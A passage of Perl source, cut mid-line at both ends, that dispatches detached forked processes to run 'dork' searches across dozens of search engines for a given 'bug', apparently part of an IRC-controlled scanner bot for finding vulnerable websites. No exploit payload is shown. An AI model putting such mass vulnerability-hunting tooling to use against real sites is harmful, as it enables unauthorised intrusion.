=~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CY",$type); } exit; } } if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FK",$type); } exit; } } if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FO",$type); } exit; } } if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GH",$type); } exit; } } if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GD",$type); } exit; } } if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GP",$type); } exit; } } if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GU",$type); } exit; } } if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GN",$type); } exit; } } if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GY",$type); } exit; } } if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HM",$type); } exit; } } if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IQ",$type); } exit; } } if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JM",$type); } exit; } } if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KI",$type); } exit; } } if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KW",$type); } exit; } } if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LA",$type); } exit; } } if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LB",$type); } exit; } } if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LR",$type); } exit; } } if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MO",$type); } exit; } } if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MG",$type); } exit; } } if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MV",$type); } exit; } } if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MP",$type); } exit; } } if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MQ",$type); } exit; } } if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MR",$type); } exit; } } if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"YT",$type); } exit; } } if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MD",$type); } exit; } } if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MC",$type); } exit; } } if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ME",$type); } exit; } } if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MZ",$type); } exit; } } if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NR",$type); } exit; } } if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NC",$type); } exit; } } if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NG",$type); } exit; } } if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NU",$type); } exit; } } if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PW",$type); } exit; } } if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PS",$type); } exit; } } if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CQ",$type); } exit; } } if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"RE",$type); } exit; } } if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LC",$type); } exit; } } if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PM",$type); } exit; } } if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ST",$type); } exit; } } if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"RS",$type); } exit; } } if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GS",$type); } exit; } } if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SL",$type); } exit; } } if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SX",$type); } exit; } } if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SB",$type); } exit; } } if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SO",$type); } exit; } } if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SU",$type); } exit; } } if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KN",$type); } exit; } } if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SR",$type); } exit; } } if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TZ",$type); } exit; } } if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TL",$type); } exit; } } if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TG",$type); } exit; } } if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TK",$type); } exit; } } if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TN",$type); } exit; } } if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TC",$type); } exit; } } if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VU",$type); } exit; } } if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"WF",$type); } exit; } } if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"YE",$type); } exit; } } if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ZW",$type); } exit; } } if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLe",$type); } exit; } } if ($engine =~ /yahoo2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Yahoo2",$type); } exit; } } if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KvaSiR",$type); } exit; } } if ($engine =~ /quint/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Quint",$type); } exit; } } if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Pagina",$type); } exit; } } if ($engine =~ /clix/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Clix",$type); } exit; } } if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ask2",$type); } exit; } } if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"Bing",$type); } exit; } } if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BigLobe",$type); } exit; } } if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"WaLLa",$type); } exit; } } if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"YaHoo",$type); } exit; } } if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AsK",$type); } exit; } } if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"OnEt",$type); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CLusTy",$type); } exit; } } if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SaPo",$type); } exit; } } if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AoL",$type); } exit; } } if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LyCos",$type); } exit; } } if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HotBot",$type); } exit; } } if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SeZNam",$type); } exit; } } if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UoL",$type); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CLusTy",$type); } exit; } } if ($engine =~ /webcrawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"webcrawler",$type); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"clusty",$type); } exit; } } if ($engine =~ /witch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"witch",$type); } exit; } } if ($engine =~ /amidalla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"amidalla",$type); } exit; } } if ($engine =~ /gibla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"gibla",$type); } exit; } } if ($engine =~ /mywebsearch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"mywebsearch",$type); } exit; } } if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"dogpile",$type); } exit; } } if ($engine =~ /infocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"infocom",$type); } exit; } } if ($engine =~ /searchcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"searchcom",$type); } exit; } } if ($engine =~ /teoma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"teoma",$type); } exit; } } if ($engine =~ /volunia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"volunia",$type); } exit; } } if ($engine =~ /izito/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"izito",$type); } exit; } } if ($engine =~ /onyet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"onyet",$type); } exit; } } if ($engine =~ /askom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"askom",$type); } exit; } } if ($engine =~ /becak/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"becak",$type); } exit; } } if ($engine =~ /bokep/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"bokep",$type); } exit; } } if ($engine =~ /searchnz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"searchnz",$type); } exit; } } if ($engine =~ /shuncengae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengAE",$type); } exit; } } if ($engine =~ /shuncengar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengAR",$type); } exit; } } if ($engine =~ /shuncengat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengAT",$type); } exit; } } if ($engine =~ /shuncengau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengAU",$type); } exit; } } if ($engine =~ /shuncengbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengBR",$type); } exit; } } if ($engine =~ /shuncengca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengCA",$type); } exit; } } if ($engine =~ /shuncengcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengCL",$type); } exit; } } if ($engine =~ /shuncengcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengCN",$type); } exit; } } if ($engine =~ /shuncengcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengCOM",$type); } exit; } } if ($engine =~ /shuncengcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengCZ",$type); } exit; } } if ($engine =~ /shuncengde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengDE",$type); } exit; } } if ($engine =~ /shuncengdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengDK",$type); } exit; } } if ($engine =~ /shuncenges/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengES",$type); } exit; } } if ($engine =~ /shuncengeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengEU",$type); } exit; } } if ($engine =~ /shuncengfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengFR",$type); } exit; } } if ($engine =~ /shuncenghu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengHU",$type); } exit; } } if ($engine =~ /shuncengid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengID",$type); } exit; } } if ($engine =~ /shuncengil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengIL",$type); } exit; } } if ($engine =~ /shuncengin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengIN",$type); } exit; } } if ($engine =~ /shuncenginfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengINfO",$type); } exit; } } if ($engine =~ /shuncengir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengIR",$type); } exit; } } if ($engine =~ /shuncengit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengIT",$type); } exit; } } if ($engine =~ /shuncengjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengJP",$type); } exit; } } if ($engine =~ /shuncengkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengKR",$type); } exit; } } if ($engine =~ /shuncengmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengMX",$type); } exit; } } if ($engine =~ /shuncengmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengMY",$type); } exit; } } if ($engine =~ /shuncengnet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengNET",$type); } exit; } } if ($engine =~ /shuncengnl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengNL",$type); } exit; } } if ($engine =~ /shuncengorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengORG",$type); } exit; } } if ($engine =~ /shuncengph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengPH",$type); } exit; } } if ($engine =~ /shuncengpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengPL",$type); } exit; } } if ($engine =~ /shuncengro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengRO",$type); } exit; } } if ($engine =~ /shuncengru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengRU",$type); } exit; } } if ($engine =~ /shuncength/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengTH",$type); } exit; } } if ($engine =~ /shuncengua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengUA",$type); } exit; } } if ($engine =~ /shuncenguk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengUK",$type); } exit; } } if ($engine =~ /shuncengus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengUS",$type); } exit; } } if ($engine =~ /shuncengsi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengSI",$type); } exit; } } if ($engine =~ /shuncengbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengBE",$type); } exit; } } if ($engine =~ /shuncengbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"shuncengBIZ",$type); } exit; } } if ($engine =~ /domae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domAE",$type); } exit; } } if ($engine =~ /domar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domAR",$type); } exit; } } if ($engine =~ /domat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domAT",$type); } exit; } } if ($engine =~ /domau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domAU",$type); } exit; } } if ($engine =~ /dombr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domBR",$type); } exit; } } if ($engine =~ /domca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domCA",$type); } exit; } } if ($engine =~ /domcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domCL",$type); } exit; } } if ($engine =~ /domcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domCN",$type); } exit; } } if ($engine =~ /domcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domCOM",$type); } exit; } } if ($engine =~ /domcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domCZ",$type); } exit; } } if ($engine =~ /domde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domDE",$type); } exit; } } if ($engine =~ /domdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domDK",$type); } exit; } } if ($engine =~ /domes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domES",$type); } exit; } } if ($engine =~ /domeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domEU",$type); } exit; } } if ($engine =~ /domfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domFR",$type); } exit; } } if ($engine =~ /domhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domHU",$type); } exit; } } if ($engine =~ /domid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domID",$type); } exit; } } if ($engine =~ /domil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domIL",$type); } exit; } } if ($engine =~ /domin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domIN",$type); } exit; } } if ($engine =~ /dominfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domINfO",$type); } exit; } } if ($engine =~ /domir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domIR",$type); } exit; } } if ($engine =~ /domit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domIT",$type); } exit; } } if ($engine =~ /domjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domJP",$type); } exit; } } if ($engine =~ /domkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domKR",$type); } exit; } } if ($engine =~ /dommx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domMX",$type); } exit; } } if ($engine =~ /dommy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domMY",$type); } exit; } } if ($engine =~ /domnet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domNET",$type); } exit; } } if ($engine =~ /domnl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domNL",$type); } exit; } } if ($engine =~ /domorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domORG",$type); } exit; } } if ($engine =~ /domph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domPH",$type); } exit; } } if ($engine =~ /dompl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domPL",$type); } exit; } } if ($engine =~ /domro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domRO",$type); } exit; } } if ($engine =~ /domru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domRU",$type); } exit; } } if ($engine =~ /domth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domTH",$type); } exit; } } if ($engine =~ /domua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domUA",$type); } exit; } } if ($engine =~ /domuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domUK",$type); } exit; } } if ($engine =~ /domus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"domUS",$type); } exit; } } if 